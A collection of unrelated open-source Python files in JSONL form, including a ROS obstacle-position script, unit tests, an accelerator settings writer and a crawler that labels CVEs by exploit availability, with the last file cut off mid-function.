+{"text": "#!/usr/bin/python\n\"\"\"\ndraw_obs_bb_on_birds_eye_view.py: version 0.1.0\nNote:\n\nTodo:\n\nHistory:\n\"\"\"\n\nimport argparse\nimport numpy as np\nimport rosbag\n\nappTitle = \"Udacity Team-SF: Obstacle bounding boxes drawer on bird's eye views\"\n\ndef print_obs_bb(msgType, topic, msg, time, capture_vehicle_position, obstacle_list, obstacle_positions):\n\n t = time.to_sec()\n\n if 'sensor_msgs' in msgType or 'nav_msgs' in msgType:\n since_start = msg.header.stamp.to_sec()-startsec\n\n if msgType in ['nav_msgs/Odometry']:\n print(topic, msg.header.seq, since_start, msg.pose.pose.position.x, msg.pose.pose.position.y, msg.pose.pose.position.z, t)\n for i in range(len(obstacle_list)):\n print('Relative position of ', obstacle_list[i], ' with respect to the capture vehicle:', obstacle_positions[i][0]-capture_vehicle_position[0], obstacle_positions[i][1]-capture_vehicle_position[1], obstacle_positions[i][2]-capture_vehicle_position[2], t)\n\n# ***** main loop *****\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=appTitle)\n parser.add_argument('--dataset', type=str, default=\"dataset.bag\", help='Dataset/ROS Bag name')\n parser.add_argument('--skip', type=int, default=\"0\", help='skip seconds')\n parser.add_argument('--topics', type=str, default=None, help='Topic list to display')\n #The argument for the resolution for the bird's eye view image is in cm per pixel\n parser.add_argument('--resolution', type=float, default=10.0, help='Resolution per pixel') \n args = parser.parse_args()\n\n dataset = args.dataset\n skip = args.skip\n resolution = args.resolution\n \n startsec = 0\n topics_list = args.topics.split(',') if args.topics else None\n\n print(\"reading rosbag \", dataset)\n bag = rosbag.Bag(dataset, 'r')\n topicTypesMap = bag.get_type_and_topic_info().topics\n\n #SN: Add obstacle list\n obstacle_list = []\n seen_vehicle_firsttime = False\n capture_vehicle_position = [0, 0, 0]\n obstacle_positions = []\n\n for topic, msg, t in bag.read_messages(topics=topics_list):\n msgType = topicTypesMap[topic].msg_type\n if startsec == 0:\n startsec = t.to_sec()\n if skip < 24*60*60:\n skipping = t.to_sec() + skip\n print(\"skipping \", skip, \" seconds from \", startsec, \" to \", skipping, \" ...\")\n else:\n skipping = skip\n print(\"skipping to \", skip, \" from \", startsec, \" ...\")\n else:\n if t.to_sec() > skipping:\n #SN:\n if not(seen_vehicle_firsttime):\n if (msgType in ['nav_msgs/Odometry']) & (topic == '/gps/rtkfix'):\n seen_vehicle_firsttime = True\n capture_vehicle_position = [msg.pose.pose.position.x, msg.pose.pose.position.y, msg.pose.pose.position.z]\n else:\n if (msgType in ['nav_msgs/Odometry']) & (topic == '/gps/rtkfix'):\n capture_vehicle_position = [msg.pose.pose.position.x, msg.pose.pose.position.y, msg.pose.pose.position.z]\n print_obs_bb(msgType, topic, msg, t, capture_vehicle_position, obstacle_list, obstacle_positions)\n elif (msgType in ['nav_msgs/Odometry']):\n if topic in obstacle_list:\n for i in range(len(obstacle_list)):\n if topic == obstacle_list:\n break\n obstacle_positions[i] = [msg.pose.pose.position.x, msg.pose.pose.position.y, msg.pose.pose.position.z]\n print_obs_bb(msgType, topic, msg, t, capture_vehicle_position, obstacle_list, obstacle_positions)\n else:\n obstacle_list.append(topic)\n obstacle_positions.append([msg.pose.pose.position.x, msg.pose.pose.position.y, msg.pose.pose.position.z])\n print_obs_bb(msgType, topic, msg, t, capture_vehicle_position, obstacle_list, obstacle_positions) \n", "source": "dhesin/team_sf_lidar", "license": "MIT"}
+{"text": "import unittest\n\nclass PlaceholderTestCase(unittest.TestCase):\n\n def test_x(self):\n self.assertEqual(1, 1)\n", "source": "djpugh/docserver-client", "license": "MIT"}
+{"text": "from pybamboo.connection import Connection, DEFAULT_BAMBOO_URL,\\\n OK_STATUS_CODES\nfrom pybamboo.exceptions import BambooError, ErrorParsingBambooData,\\\n PyBambooException\nfrom pybamboo.tests.test_base import TestBase\n\n\nclass TestConnection(TestBase):\n\n def test_url(self):\n # default self.connection is setup in TestBase.setUp()\n self.assertEqual(self.connection.url, self.TEST_BAMBOO_URL)\n test_url = 'http://test.com'\n self.connection.url = test_url\n self.assertEqual(self.connection.url, test_url)\n\n def test_check_response(self):\n test_response = self.MockResponse()\n for status_code in OK_STATUS_CODES:\n test_response.status_code = status_code\n test_response.text = 'OK'\n try:\n self.connection._check_response(test_response)\n except BambooError: # pragma: no cover\n self.fail('Raised error on OK status code.')\n test_response.status_code = 400\n test_response.text = 'FAIL'\n with self.assertRaises(BambooError):\n self.connection._check_response(test_response)\n\n def test_version(self):\n self.assert_keys_in_dict(self.VERSION_KEYS,\n self.connection.version)\n", "source": "makinacorpus/pybamboo", "license": "BSD-3-Clause"}
+{"text": "\nfrom functools import partial\nfrom typing import Any, Callable, Optional\n\nimport abstracts\n\nfrom aio.core import event, functional, tasks\nfrom aio.core.dev import debug\n\n\n# TODO: split `IReactive.pool` to here\nclass IExecutive(event.IReactive, metaclass=abstracts.Interface):\n \"\"\"Object that executes commands in a process pool.\"\"\"\n\n @abstracts.interfacemethod\n async def execute(\n self,\n executable: Callable,\n *args,\n **kwargs) -> Any:\n \"\"\"Execute a command in a process pool.\"\"\"\n raise NotImplementedError\n\n @abstracts.interfacemethod\n async def execute_in_batches(\n self,\n executable: Callable,\n *args,\n concurrency: Optional[int] = None,\n min_batch_size: Optional[int] = None,\n max_batch_size: Optional[int] = None,\n **kwargs) -> functional.AwaitableGenerator:\n \"\"\"Execute a command in a process pool.\"\"\"\n raise NotImplementedError\n\n\n@abstracts.implementer((event.AReactive, IExecutive))\nclass AExecutive(metaclass=abstracts.Abstraction):\n\n @debug.logging(\n log=__name__,\n format_result=\"self._debug_execute\")\n async def execute(\n self,\n executable: Callable,\n *args,\n **kwargs) -> Any:\n return await self.loop.run_in_executor(\n self.pool,\n *(executable, *args),\n **kwargs)\n\n def execute_in_batches(\n self,\n executable: Callable,\n *args,\n concurrency: Optional[int] = None,\n min_batch_size: Optional[int] = None,\n max_batch_size: Optional[int] = None,\n **kwargs) -> functional.AwaitableGenerator:\n return tasks.concurrent(\n (self.execute(\n executable,\n *batch,\n **kwargs)\n for batch\n in functional.batch_jobs(\n args,\n min_batch_size=min_batch_size,\n max_batch_size=max_batch_size)),\n limit=concurrency)\n\n def _debug_execute(self, start, result, time_taken, result_info):\n (instance, (executable, *args), kwargs), start_time = start\n pool_name = (\n \"\\N{forking}\"\n if self.pool.__class__.__name__ == \"ProcessPoolExecutor\"\n else \"\\N{nonforking}\")\n pool_info = f\"{pool_name}:{hex(id(self.pool))}\"\n if type(executable) == partial:\n executable = executable.func\n name = getattr(\n executable, \"__qualname__\",\n executable.__class__.__qualname__)\n return (\n f\"{pool_info} {result_info}: \"\n f\"{executable.__module__}{name}\")\n", "source": "Nordix/pytooling", "license": "Apache-2.0"}
+{"text": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\nimport contextlib\n\n\ncontext = {}\n\n\n@contextlib.contextmanager\ndef set_context(**kwargs):\n global context\n try:\n context = dict(**kwargs)\n yield\n finally:\n context.clear()\n", "source": "campsd/FunFact", "license": "BSD-3-Clause-LBNL"}
+{"text": "from features.default import BaseFeature\nimport PySimpleGUI as sg\nfrom tinydb import TinyDB, Query\n\n\nclass Feature(BaseFeature):\n def __init__(self, bumblebee_api):\n self.tag_name = \"add_employer\"\n self.patterns = [\n \"add new employer\",\n \"new employer\",\n \"add a new employer\",\n \"add a new boss\"\n ]\n self.bs = bumblebee_api.get_speech()\n self.config = bumblebee_api.get_config()\n\n employer_db_path = self.config['Database']['employers']\n self.employer_db = TinyDB(employer_db_path)\n\n def action(self, spoken_text, arguments_list: list = []):\n try:\n self.add_employer_details()\n self.bs.respond('Added new employer successfully.')\n except Exception as exception:\n print(exception)\n self.bs.respond('Could not add new employer.')\n\n return\n\n def add_employer_details(self):\n '''\n Opens a PySimpleGui window to allow the user to add a new employer to\n the database.\n Arguments: None\n Return type: None\n '''\n sg.theme('DarkAmber')\n layout = [[sg.Text(\"Name:\"), sg.InputText(key=\"name\")],\n [sg.Submit(), sg.Cancel()]\n ]\n event, values = sg.Window(\"Add Employer\", layout).read(close=True)\n\n Entry = Query()\n employer_details = {}\n employer_details[\"name\"] = str(values['name'].lower())\n self.employer_db.upsert(\n employer_details, Entry.name == employer_details[\"name\"]\n )\n", "source": "Omarzintan/bumblebee-ai", "license": "MIT"}
+{"text": "from lcls_live.klystron import Klystron, existing_LCLS_klystrons, unusable_faults\nfrom lcls_live import Collimator\n\nfrom math import isnan, sqrt\n\nimport pandas\n\ndef bmad_klystron_lines(klystron):\n '''\n Form Bmad lines to set klystron overlays.\n\n '''\n k = klystron\n kname = 'K'+str(k.sector)+'_'+str(k.station)\n bmad_name = 'O_'+kname \n \n # Data \n accelerating = k.is_accelerating()\n #usable = not any(x in k.faults for x in unusable_faults)\n usable=k.is_usable()\n has_faults = k.has_faults()\n phase=k.phase\n enld=k.enld\n\n if phase == None:\n good_phase = False\n else:\n good_phase = not isnan(phase)\n if not good_phase or not usable: \n phase=0\n\n\n lines = ['!---------------', '! '+kname]\n if not accelerating:\n lines.append('! is not accelerating')\n if not usable:\n lines.append('! is NOT usable') \n if has_faults:\n lines.append('! has faults:')\n for f in k.faults:\n lines.append('! '+f)\n\n if accelerating and usable:\n lines.append(bmad_name+'[ENLD_MeV] = '+str(enld))\n lines.append(bmad_name+'[phase_deg] = '+str(phase))\n else:\n lines.append(bmad_name+'[ENLD_MeV] = 0')\n\n return lines\n\ndef write_bmad_klystron_settings(klystrons, filePath='klystron_settings.bmad', verbose=False):\n #timestamp = '! Acquired: '+ str(datetime.datetime.now()) + '\\n'\n data =map(bmad_klystron_lines, klystrons)\n \n with open(filePath, 'w') as f:\n #f.write(timestamp)\n for l in data:\n for x in l:\n f.write(x+'\\n')\n if verbose:\n print('Written:', filePath) \n \ndef bmad_linac_phasing_lines(epics):\n \"\"\"\n Linac phasing\n \n Note that these overlays override individual klystron phases. \n \n \"\"\"\n lines = [\n '! Linac overall phasing',\n 'O_L1[phase_deg] = 0 ! K21_1 sets this directly. This is a delta on top of that.', \n 'O_L2[phase_deg] = '+str(epics.caget('SIOC:SYS0:ML00:CALC204')),\n 'O_L3[phase_deg] = '+str(epics.caget('SIOC:SYS0:ML00:AO499'))\n ]\n return lines\n\ndef write_bmad_linac_phasing_lines(filePath='linac_settings.bmad', epics=None, verbose=False):\n \"\"\"\n Writes linac phasing lines to a Bmad file. Requires epics (or proxy object). \n \"\"\"\n lines = bmad_linac_phasing_lines(epics)\n with open(filePath, 'w') as f:\n for l in lines:\n f.write(l+'\\n')\n if verbose:\n print('Written:', filePath)\n\n\n\ndef tao_BC_and_LEM_lines(epics):\n \"\"\"\n Linac energy set points and bunch compressor offsets\n \"\"\"\n bc1_e0=epics.caget('SIOC:SYS0:ML00:AO483')*1e6\n bc2_e0=epics.caget('SIOC:SYS0:ML00:AO489')*1e9\n l3_e0 =epics.caget('SIOC:SYS0:ML00:AO500')*1e9\n \n # Charge in LTU\n q_after_horn_cutting = epics.caget('SIOC:SYS0:ML00:CALC252')*1e-12 # pC -> C\n bc1_offset=epics.caget('BMLN:LI21:235:MOTR')*1e-3\n bc2_offset=epics.caget('BMLN:LI24:805:MOTR')*1e-3\n \n bc1_current=epics.caget('SIOC:SYS0:ML00:AO485')\n bc2_current=epics.caget('SIOC:SYS0:ML00:AO195')\n \n # Catch bad settings\n if bc1_current==0:\n print('Warning: BC1 current is zero!')\n bc1_sigma_z = 0\n else:\n # Assumes parabolic distribution\n bc1_sigma_z = q_after_horn_cutting*299792458 / sqrt(10) / bc1_current\n\n if bc2_current==0:\n print('Warning: BC1 current is zero!')\n bc2_sigma_z = 0\n else:\n # Assumes Gaussian distribution\n bc2_sigma_z = q_after_horn_cutting*299792458 / sqrt(12) / bc2_current \n \n lines = []\n lines.append('set dat BC1.energy[1]|meas = '+str(bc1_e0))\n lines.append('set dat BC2.energy[1]|meas = '+str(bc2_e0))\n lines.append('set dat L3.energy[2]|meas = '+str(l3_e0))\n lines.append('set dat BC1.offset[1]|meas = '+str(bc1_offset))\n lines.append('set dat BC2.offset[1]|meas = '+str(bc2_offset))\n \n lines.append(f'! Charge after horn cutting: {q_after_horn_cutting*1e12:10.4} pC')\n lines.append(f'! For BC1 current {bc1_current} A')\n lines.append('set dat BC1.beam[1]|meas = '+str( bc1_sigma_z))\n lines.append(f'! For BC2 current {bc2_current} A')\n lines.append('set dat BC2.beam[1]|meas = '+str( bc2_sigma_z)) \n\n return lines \ndef write_tao_BC_and_LEM_lines(filePath='LEM_settings.tao', epics=None, verbose=False):\n \"\"\"\n Writes tao LEM lines to a .tao file. Requires epics (or proxy object). \n \"\"\"\n lines = tao_BC_and_LEM_lines(epics)\n with open(filePath, 'w') as f:\n for l in lines:\n f.write(l+'\\n')\n if verbose:\n print('Written:', filePath)\n\n \n \n return lines \n\n \n \ndef bmad_from_csv(csvfile, epics, outfile=None):\n \"\"\"\n Create Bmad-style settings from a CSV mapping file, and an epics interface.\n \n Example: \n bmad_from_csv('collimator_mapping.csv', epics, 'test.bmad')\n \n \"\"\"\n df = pandas.read_csv(csvfile)\n pvlist = list(df['device_name'] +':'+ df['attribute'].str.strip())\n \n # Get values\n df['value'] = epics.caget_many(pvlist)\n \n # Form lines\n lines = df['bmad_ele_name']+'[' + df['bmad_attribute'] + '] = '+ (df['bmad_factor'].astype(str)+'*'+df['value'].astype(str))\n \n if outfile:\n with open(outfile, 'w') as f:\n for line in lines:\n f.write(line+'\\n')\n print('Written:', outfile)\n \n return list(lines) \n \n \nINFO_PVS = {\n 'GDET:FEE1:241:ENRC': 'FEL pulse energy from gas detector (mJ)',\n 'SIOC:SYS0:ML00:AO020': 'UV Pulse Length RMS (ps)', \n 'LASR:IN20:475:PWR1H': 'Laser heater power (uJ)',\n 'SIOC:SYS0:ML00:AO470':'Bunch charge off the cathode', \n 'SIOC:SYS0:ML00:CALC252': 'Bunch charge in the LTU',\n 'SIOC:SYS0:ML00:AO485': 'BC1 mean current (A)',\n 'SIOC:SYS0:ML00:AO195': 'BC2 peak current (A)',\n 'BLEN:LI21:265:AIMAX1H': 'BC1 bunch length monitor (A)',\n 'BLEN:LI24:886:BIMAX1H': 'BC2 bunch length monitor (A)',\n 'SIOC:SYS0:ML00:AO513':'DL1 Energy',\n 'SIOC:SYS0:ML00:AO483':'BC1 Energy',\n 'SIOC:SYS0:ML00:AO489':'BC2 Energy',\n 'SIOC:SYS0:ML00:AO500':'DL2 Energy',\n 'ACCL:LI21:1:L1S_S_PV': 'L1 Phase',\n 'SIOC:SYS0:ML00:CALC204':'L2 Phase',\n 'SIOC:SYS0:ML00:AO499':'L3 Phase',\n 'ACCL:IN20:350:FUDGE': 'L0 energy fudge factor',\n 'ACCL:LI21:1:FUDGE': 'L1 energy fudge factor',\n 'ACCL:LI22:1:FUDGE': 'L2 energy fudge factor',\n 'ACCL:LI25:1:FUDGE': 'L3 energy fudge factor',\n 'BMLN:LI21:235:MOTR': 'BC1 offset (mm)',\n 'BMLN:LI24:805:MOTR': 'BC2 offset (mm)',\n 'IOC:IN20:BP01:QANN': 'Expected charge after gun (nC)',\n 'BPMS:SYS0:2:QANN':'Expected Charge after BC charge cutting (nC)'}\n\n", "source": "jacquelinegarrahan/lcls-live", "license": "Apache-2.0"}
+{"text": "import requests\nimport json\nimport math\nimport re\nfrom bs4 import BeautifulSoup\nimport codecs\nimport os\nimport random\nfrom multiprocessing import Process,Pool\nimport pandas\nimport configparser\nfrom sqlite3_operate import SQLite,create_table\nfrom utils import path,time_delta,get_ua,list2tuple_dict\nfrom seebug_crawler import seebug_headers\n\ndef cve_details_parser(url):\n \"\"\"\n \u5355\u6b21\u89e3\u6790\uff0c\u8fd4\u56decve id\u7684exp\u6807\u8bb0\n :param url:\n :return label:\n :type:int\n :value:1\u4e0d\u5b58\u5728\uff0c2\u5b58\u5728\u4e14\u65e0exp\uff0c3\u5b58\u5728\u4e14\u6709msf exp\u6807\u8bb0\uff0c4\u5b58\u5728\u4e14\u6709public exploit,7\u5b58\u5728\u4e14\u6709msf\u548cpub\n \"\"\"\n try:\n r=requests.get(url,timeout=5).text\n if re.search(r'(\\d) public exploit',r):\n if re.search(r'(\\d) Metasploit modules',r):\n label=7\n else:\n label=4\n elif re.search(r'(\\d) Metasploit modules',r):\n label=3\n elif re.search(r'Unknown CVE ID',r):\n label=1\n else:\n label=2\n return label\n except Exception as e:\n print(\"[!] Error %s %s in function `cve_details_parser`\" %(url,str(e)))\n return False\n\ndef cve_exists(db='nvd',table='nvd_cve',key='CVE_Items_cve_CVE_data_meta_ID'):\n \"\"\"\n \u53d6\u672c\u5730\u6570\u636e\u5e93\u5df2\u6709\u7684CVE id\u7b49\u5355\u5b57\u6bb5\n :return exist_cid:\n :type:list\n :value:['1','2','3']\n \"\"\"\n so=SQLite('../data/{db}.db'.format(db=db))\n sql='select {key} from {table}'.format(table=table,key=key)\n exist_cid=so.query(sql)\n if exist_cid:\n exist_cid=[i[0] for i in exist_cid]\n else:\n exist_cid=[]\n \n return so,exist_cid\n\ndef cve_details_exp():\n \"\"\"\n \u4ececvedetails.com\u722ccve\u8be6\u60c5\u548cexp label:public/msf\n \"\"\"\n create_table(db='cvedetail',table='cvedetail_exp',key=['cve_id','label'],primary_key='cve_id')\n so,exist_cid=cve_exists(db='cvedetail',table='cvedetail_exp',key='cve_id')\n so1,all_cid=cve_exists(db='nvd',table='nvd_cve',key='CVE_Items_cve_CVE_data_meta_ID')\n add_cid=list(set(all_cid)^set(exist_cid))\n \n cve_exp=dict()\n for cid in add_cid:\n url=\"https://www.cvedetails.com/cve/{}/\".format(cid)\n label=cve_details_parser(url)\n print(url,label)\n if label:\n cve_exp[cid]=(cid,label)\n sql='replace INTO cvedetail_exp (cve_id, label) VALUES (?, ?)'\n so.executemany(sql,cve_exp.values())\n return 'cvedetails.com',cve_exp\n\ndef nvd_nist_exp():\n \"\"\"\n \u4ecenvd.nist\u4e2dreference source\u4e2d\u63d0\u53d6CVE exp label\n \u6253\u6807\u7b56\u7565\u4e4b\u4e00\uff1aexploit-db verified or verified\n \"\"\"\n so=SQLite('../data/nvd.db')\n sql='select CVE_Items_cve_CVE_data_meta_ID from nvd_cve where CVE_Items_cve_references_reference_data_tags like \"%Exploit%\"'\n r=so.query(sql)\n ids=[i[0] for i in r]\n\n cve_exp=dict()\n for cid in ids:\n url='https://nvd.nist.gov/vuln/detail/{}'.format(cid)\n cve_exp[cid]=url\n \n return 'nvd.nist.gov',cve_exp\n\ndef mitre_expdb_exp():\n \"\"\"\n \u4ececve.mitre.org\u4e2d\u63d0\u53d6CVE exp label\uff0c\u5f25\u8865nvd.nist\u4e2dResource\u4e2dExploit\u6807\u8bb0\u7684\u4e0d\u8db3\n \u66f4\u65b0\u7b56\u7565\uff1a\u5168\u91cf\u66f4\u65b0\uff0c\u8fd4\u56de\u5168\u90e8\u6570\u636e\n :return cve_exp:\n :type:dict\n :value:{'cve-id':'edb-id'}\n \"\"\"\n hfile=path('../data/nvd',time_delta()+'source-EXPLOIT-DB.html')\n if not os.path.exists(hfile):\n r=requests.get('https://cve.mitre.org/data/refs/refmap/source-EXPLOIT-DB.html')\n html=r.content\n with codecs.open(hfile,'wb') as f:\n f.write(html)\n\n cve_exp=dict()\n if os.path.exists(hfile):\n with codecs.open(hfile,'rb') as f:\n soup=BeautifulSoup(f,'html.parser')\n for tr in soup.find_all('tr'):\n exp_db=''\n cve=''\n for td in tr.find_all('td'):\n t=str(td)\n \n if re.search(r'EXPLOIT-DB:(\\d+)',t):\n r=re.search(r'EXPLOIT-DB:(\\d+)',t)\n exp_db=r.group(1)\n elif re.search(r'(CVE-[\\d]+-[\\d]+)',t):\n r=re.findall(r'(CVE-[\\d]+-[\\d]+)',t)\n cve=[]\n for c in r:\n cve.append(c)\n else:\n continue\n \n if exp_db and cve:\n if isinstance(cve,list):\n for c in cve:\n cve_exp[c]=exp_db\n else:\n cve_exp[cve]=exp_db\n \n return 'cve.mitre.org',cve_exp\n\ndef expdb_parser(eid):\n \"\"\"\n \u5355\u6b21\u89e3\u6790\uff0c\u8fd4\u56de\u5355\u6761\u6570\u636e\n :param eid:\n :return exp_values:\n :type:dict\n :value:{'EDB-ID:': '37074', 'CVE:': '2015-4039;2015-4038', 'Author:': 'Panagiotis Vagenas', 'Type:': 'webapps', 'Platform:': 'PHP', 'Date:': '2015-05-21'}:\n \"\"\"\n exp_values=dict()\n url='https://www.exploit-db.com/exploits/'+str(eid)\n r=requests.get(url,headers={'User-Agent':get_ua()},timeout=10)\n html=r.content\n if r.status_code==200 and b'404 Page Not Found' not in html:\n soup=BeautifulSoup(html,'html.parser')\n for div in soup.find_all('div',class_='col-6 text-center'):\n exp_value=list(div.stripped_strings)\n if len(exp_value)>=2:\n exp_values[exp_value[0]]=\";\".join(exp_value[1:])\n else:\n exp_values[exp_value[0]]=''\n \n return exp_values\n else:\n return False\n\ndef offensive_download():\n try:\n url='https://raw.githubusercontent.com/offensive-security/exploitdb/master/files_exploits.csv'\n r=requests.get(url)\n with codecs.open('../data/exploit-db/offensive_expfile.csv','wb') as f:\n f.write(r.content)\n print(\"[+] DOWNLOAD NEW EXPLOIT-DB\")\n except Exception as e:\n print(\"[!] DOWNLOAD %s error\" %url)\n\ndef expdb_exists():\n \"\"\"\n \u4eceoffensive Security github file exploits\u53d6\u6700\u65b0\u7684\u5168\u91cfedb-id\n \"\"\"\n offensive_download()\n if os.path.exists('../data/exploit-db/offensive_expfile.csv'):\n exps=pandas.read_csv('../data/exploit-db/offensive_expfile.csv')\n return list(exps['id'].values)\n else:\n return False\n\ndef expdb_exp(batch=False,batch_size=10):\n \"\"\"\n \u4eceexploit-db.com\u4e2d\u63d0\u53d6CVE exp label\uff0c\u5f25\u8865\u4e0d\u8db3\n \u66f4\u65b0\u7b56\u7565\uff1a\u589e\u91cf\u8986\u76d6\n \"\"\"\n create_table(db='exp2',table='expdb',key=['edb_id','cve_id','author','type','platform','date'],primary_key='edb_id')\n so,exist_eid=cve_exists(db='exp2',table='expdb',key='edb_id')\n all_eid=expdb_exists()\n all_eid=[str(i) for i in all_eid]\n add_eid=list(set(all_eid)^set(exist_eid))\n print(add_eid)\n j=0\n cve_exp=dict()\n for eid in add_eid:\n try:\n exp_values=expdb_parser(eid)\n if exp_values:\n cve_exp[eid]=tuple(exp_values.values())\n print(cve_exp)\n j=j+1\n if batch:\n if j%batch_size==0: ### todo\n sql='replace INTO expdb (edb_id, cve_id, author, type, platform, date) VALUES (?, ?, ?, ?, ?, ?)'\n so.executemany(sql,cve_exp.values())\n else:\n sql='replace INTO expdb (edb_id, cve_id, author, type, platform, date) VALUES (?, ?, ?, ?, ?, ?)'\n so.execute(sql,tuple(exp_values.values()))\n\n else:\n print(\"[!] exp-values Not Found\")\n\n except Exception as e:\n print(\"[!] DOWNLOAD ERROR %s error:%s\" %(eid,repr(e)))\n \n so.close()\n \nclass GitHub(object):\n def __init__(self, **config_options):\n self.__dict__.update(**config_options)\n self.session = requests.Session()\n if hasattr(self, 'api_token'):\n self.session.headers['Authorization'] = 'token %s' % self.api_token\n elif hasattr(self, 'username') and hasattr(self, 'password'):\n self.session.auth = (self.username, self.password)\n\n def call_to_the_api(self, *args):\n try:\n res=self.session.get(*args)\n except Exception as e:\n return \n # do stuff with args\n return res\n\ndef single_parser(gh,items):\n \"\"\"\n \u89e3\u6790\u5355\u4e2a\u4ed3\u5e93\uff1a\u4ed3\u5e93\u540d\uff0c\u63cf\u8ff0\uff0c\u76ee\u5f55\u540d\uff0c\u83b7\u53d6CVE\u548cexp\u6807\u8bb0\n \"\"\"\n cve_list=[]\n for item in items:\n name=item['name']\n description=item['description']\n content_url=item['contents_url']\n name=re.search(r'CVE-(\\d+)-(\\d+)',name)\n description=re.search(r'CVE-(\\d+)-(\\d+)',description)\n if name:\n cve_list.append(name.group(0))\n continue\n elif description:\n cve_list.append(description.group(0))\n continue\n elif content_url:\n r=gh.call_to_the_api(content_url)\n content=r.text\n match=re.findall(r'(CVE-[\\d]+-[\\d]+)',content)\n if match:\n match=list(set(match))\n cve_list.extend(match)\n\n cve_list=list(set(cve_list))\n return cve_list\n\ndef single_request(gh,kname='CVE exploit',page=1,per_page=50):\n \"\"\"\n \u89e3\u6790\u5355\u9875\u4ed3\u5e93\u6570\u636e\uff0c\u83b7\u53d6CVE\u548cexp\u6807\u8bb0\n \"\"\"\n cve_list=[]\n url=\"https://api.github.com/search/repositories?q={key_name}&sort=updated&order=desc&page={page}&per_page={per_page}\".format(key_name=kname,page=page,per_page=per_page)\n r=gh.call_to_the_api(url)\n if r:\n content=r.text\n js=json.loads(content)\n items=js['items']\n cve_list.extend(single_parser(gh,items))\n\n total_count=js['total_count']\n\n return total_count,cve_list\n else:\n return False,False\n\ndef max_total_count(gh,kname='CVE exploit',page=1,per_page=50):\n \"\"\"\n \u4e00\u6b21\u89e3\u6790\uff0c\u8fd4\u56de\u68c0\u7d22\u7ed3\u679c\u603b\u6761\u6570\n \"\"\"\n cve_list=[]\n url=\"https://api.github.com/search/repositories?q={key_name}&sort=updated&order=desc&page={page}&per_page={per_page}\".format(key_name=kname,page=page,per_page=per_page)\n r=gh.call_to_the_api(url)\n if r:\n content=r.text\n js=json.loads(content)\n total_count=js['total_count']\n\n return total_count\n else:\n return \n\ndef github_exp(api_token,per_page=100):\n \"\"\"\n \u6839\u636e(\u591a\u7ec4)\u5173\u952e\u8bcd\u641c\u7d22github\u4e0acve\u548cexp\u6807\u8bb0\n \u66f4\u65b0\u7b56\u7565\uff1a\u652f\u6301\u5b58\u91cf\u548c\u589e\u91cf\u66f4\u65b0\n \"\"\"\n # \u672c\u5730\u548c\u8fdc\u7a0b\u5bf9\u6bd4->\u5dee\u96c6\n create_table(db='github',table='github_exp',key=['cve_id','label'],primary_key='cve_id') ## \u9009\u62e9sqlite3 \u800c\u4e0d\u662fjson\u5b58\u50a8\u7684\u539f\u56e0\u5728\u6613\u4e8e\u6269\u5c55\u548c\u68c0\u7d22\n so,exist_cid=cve_exists(db='github',table='github_exp',key='cve_id')\n\n conf=configparser.ConfigParser()\n conf.read('conf/info.conf')\n local_count=conf.get('CVE_Label','total_count')\n key_name=conf.get('CVE_Label','search_key')\n\n gh=GitHub(api_token=api_token)\n total_count=max_total_count(gh=gh,kname=key_name,per_page=per_page)\n cve_list=[]\n if total_count:\n if total_count>1000:\n total_count=1000\n\n add_count=total_count-int(local_count)\n print(\"local num:%s,total num:%s,add num:%s\" %(local_count,total_count,add_count))\n # \u8865\u5168\u5dee\u96c6\n page_count=math.ceil(add_count/per_page)\n if page_count>0:\n for page in range(page_count,-1,-1):\n t,c=single_request(gh=gh,kname=key_name,per_page=per_page,page=page)\n if t:\n print(c)\n cve_list.extend(c)\n else:\n print(\"[!] Error in call_to_the_api\")\n else:\n print(\"[!] WARNING:No Updated in function github_cve\")\n\n # \u63d2\u5165sqlite3\n if page_count>0:\n cve_tuple=list2tuple_dict(cve_list,label=1)\n sql='replace INTO github_exp (cve_id, label) VALUES (?, ?)'\n so.executemany(sql,cve_tuple.values())\n conf.set('CVE_Label','total_count',str(total_count))\n with open('conf/info.conf', 'w') as configfile:\n conf.write(configfile)\n else:\n pass\n else:\n print(\"[!] Error in call_to_the_api\")\n return \n return cve_list\n\ndef seebug_page_parser(url,headers):\n \"\"\"\n \u89e3\u6790seebug\u5355\u9875\uff0c\u83b7\u53d6CVE exp label,\u8fd4\u56de\u591a\u6761\u6570\u636e\n :return cve_page:\n :type:dict\n :value:{'cve_id1':0,'cve_id2':1,'cve_idN':0 or 1}\n \"\"\"\n r=requests.get(url,headers=headers)\n soup=BeautifulSoup(r.content,'html.parser')\n cve_page=dict()\n for td_date in soup.find_all('td',class_='text-center datetime hidden-sm hidden-xs'):\n date=td_date.text\n td_status=td_date.find_next('td',class_='text-center hidden-sm hidden-xs ')\n i=td_status.find_all('i')[0]\n cve_id=re.search(r'(CVE-[\\d]+-[\\d]+)',str(i))\n if cve_id:\n cid=cve_id.group(0)\n if \" \".join(td_status.find_all('i')[1].get('class'))=='fa fa-rocket text-muted ':\n label=0\n elif \" \".join(td_status.find_all('i')[1].get('class'))=='fa fa-rocket ':\n label=1\n else:\n print(\"[!] WARNING poc_value is not 0 or 1\")\n cve_page[cid]=(cid,label,date)\n else:\n # \u975ecve\u7684\u6f0f\u6d1e\n pass\n return cve_page\n\ndef seebug_max_page(url='https://www.seebug.org/vuldb/vulnerabilities'):\n \"\"\"\n \u83b7\u53d6seebug\u6f0f\u6d1e\u6570\u636e\u7684\u6700\u5927\u9875\u9762\u6570\n :return max_page:\n :type:int\n :value:N\n :return headers:\n :type:dict\n :value:\u6d4f\u89c8\u5668\u5934\n \"\"\"\n headers=seebug_headers(url)\n r=requests.get(url,headers=headers)\n regex=re.compile(r'page=(\\d+)')\n num=re.findall(regex,r.text)\n num=[int(i) for i in num]\n max_page=max(num)\n print(\"[+] Got max page:%d\" %max_page)\n return max_page,headers\n\ndef seebug_exp(stock=True):\n \"\"\"\n \u722c\u53d6seebug\u5168\u90e8cve\u6570\u636e\n :return source:\n :type:str\n :value:'seebug'\n :return cve_seebug:\n :type:dict\n :value:seebug\u5168\u90e8cve\u6570\u636e\uff0c\u5f62\u5982{'CVE-2020-0001':0}\n \"\"\"\n create_table(db='seebug',table='seebug_exp',key=['cve_id','label','date'],primary_key='cve_id')\n so,exist_cid=cve_exists(db='seebug',table='seebug_exp',key='cve_id')\n max_page,headers=seebug_max_page()\n cve_seebug=dict()\n if stock:\n for i in range(1,max_page):\n vul_url='https://www.seebug.org/vuldb/vulnerabilities?page={}'.format(str(i))\n cve_page=seebug_page_parser(url=vul_url,headers=headers)\n print(\"[+] Got page:%d\" %(i))\n 